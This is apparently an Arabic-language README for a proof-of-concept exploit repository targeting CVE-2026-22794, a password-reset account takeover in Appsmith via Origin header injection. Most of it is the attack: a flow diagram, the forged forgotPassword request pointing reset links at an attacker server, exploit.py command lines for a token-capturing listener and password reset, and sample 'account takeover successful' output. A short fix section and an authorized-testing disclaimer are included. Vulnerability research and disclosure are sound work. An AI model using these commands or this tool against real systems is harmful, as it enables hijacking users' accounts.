
🔴 CVE-2026-22794 - استيلاء على حساب إعادة تعيين كلمة المرور في Appsmith عبر حقن ترويسة Origin | استغلال PoC + قالب Nuclei
اختطاف رابط إعادة تعيين كلمة المرور عبر التلاعب بترويسة Origin
يحتوي هذا المستودع على إثبات مفهوم (PoC) لاستغلال CVE-2026-22794، وهي ثغرة حرجة في Appsmith تسمح للمهاجمين باختطاف رموز إعادة تعيين كلمة المرور وتحقيق السيطرة الكاملة على الحساب.
| الحقل | القيمة |
|---|
| معرف CVE | CVE-2026-22794 |
| البرنامج المتأثر | Appsmith (الإصدارات السابقة للتصحيح) |
| نوع الثغرة | حقن ترويسة Origin |
| الأثر | سيطرة كاملة على الحساب |
| درجة CVSS | 9.1 (حرجة) |
| متجه الهجوم | الشبكة |
| تعقيد الهجوم | منخفض |
| الصلاحيات المطلوبة | لا شيء |
| تفاعل المستخدم | مطلوب (الضحية تنقر على الرابط) |
يستخدم Appsmith ترويسة HTTP Origin دون تحقق لبناء روابط إعادة تعيين كلمة المرور والتحقق من البريد الإلكتروني. يقوم الكود المعرض للخطر بتعيين ترويسة Origin مباشرة إلى عنوان URL الأساسي لإعادة تعيين كلمة المرور:
userPasswordDTO.setBaseUrl(originHeader);
وهذا يسمح للمهاجم بـ:
┌─────────────────────────────────────────────────────────────────┐
│ تدفق الهجوم │
└─────────────────────────────────────────────────────────────────┘
┌──────────┐ ┌──────────┐ ┌──────────┐
│ المهاجم │ │ APPSMITH │ │ الضحية │
└────┬─────┘ └────┬─────┘ └────┬─────┘
│ │ │
│ 1. POST /forgotPassword │ │
│ Origin: attacker.com │ │
│ email: [email protected] │ │
│──────────────────────────────>│ │
│ │ │
│ │ 2. إرسال بريد إلكتروني مع │
│ │ attacker.com/reset?token │
│ │──────────────────────────────>│
│ │ │
│ 3. الضحية تنقر على الرابط │ │
│<──────────────────────────────────────────────────────────────│
│ │ │
│ 4. تم التقاط الرمز! │ │
│ │ │
│ 5. POST /resetPassword │ │
│ token: STOLEN_TOKEN │ │
│ password: attacker123 │ │
│──────────────────────────────>│ │
│ │ │
│ 6. سيطرة كاملة على الحساب! ✓ │ │
│ │ │
# استنساخ المستودع
git clone https://github.com/MalikHamza7/CVE-2026-22794-POC
cd CVE-2026-22794-POC
# تثبيت التبعيات
pip install -r requirements.txt
python exploit.py --target https://appsmith.target.com --check
python exploit.py --listen --port 8080
python exploit.py \
--target https://appsmith.target.com \
--email [email protected] \
--attacker-url https://your-server.com
python exploit.py \
--target https://appsmith.target.com \
--email [email protected] \
--attacker-url https://your-server.com \
--listen --port 8080
python exploit.py \
--target https://appsmith.target.com \
--reset-token CAPTURED_TOKEN \
--new-password "NewP@ssw0rd!"
POST /api/v1/users/forgotPassword HTTP/1.1
Host: appsmith.target.com
Origin: https://attacker-server.com
Content-Type: application/json
{
"email": "[email protected]"
}
Password Reset Link: https://attacker-server.com/user/resetPassword?token=abc123xyz...
[+] INCOMING REQUEST CAPTURED!
[*] Path: /user/resetPassword?token=abc123xyz789...
[!!!] PASSWORD RESET TOKEN CAPTURED!
[!!!] Token: abc123xyz789...
[+] ACCOUNT TAKEOVER SUCCESSFUL!
[+] Password has been reset to: NewP@ssw0rd!
يجب على المؤسسات التي تستخدم Appsmith:
// ❌ كود معرض للخطر
userPasswordDTO.setBaseUrl(originHeader);
// ✅ كود آمن
String configuredBaseUrl = applicationConfiguration.getBaseUrl();
// أو التحقق من القائمة البيضاء
if (!allowedOrigins.contains(originHeader)) {
throw new InvalidOriginException("Invalid origin header");
}
userPasswordDTO.setBaseUrl(configuredBaseUrl);
CVE-2026-22794/
├── README.md # هذا الملف
├── exploit.py # سكربت الاستغلال الرئيسي
├── requirements.txt # تبعيات Python
├── LICENSE # رخصة MIT
└── docs/
└── technical_analysis.md # تحليل فني مفصل للثغرة
هذه الأداة مقدمة لأغراض الاختبارات الأمنية المصرح بها والتعليم فقط.
باحث أمني
هذا المشروع مرخص بموجب رخصة MIT - راجع ملف LICENSE للحصول على التفاصيل.
⭐ إذا وجدت هذا مفيدًا، يرجى وضع نجمة على المستودع! ⭐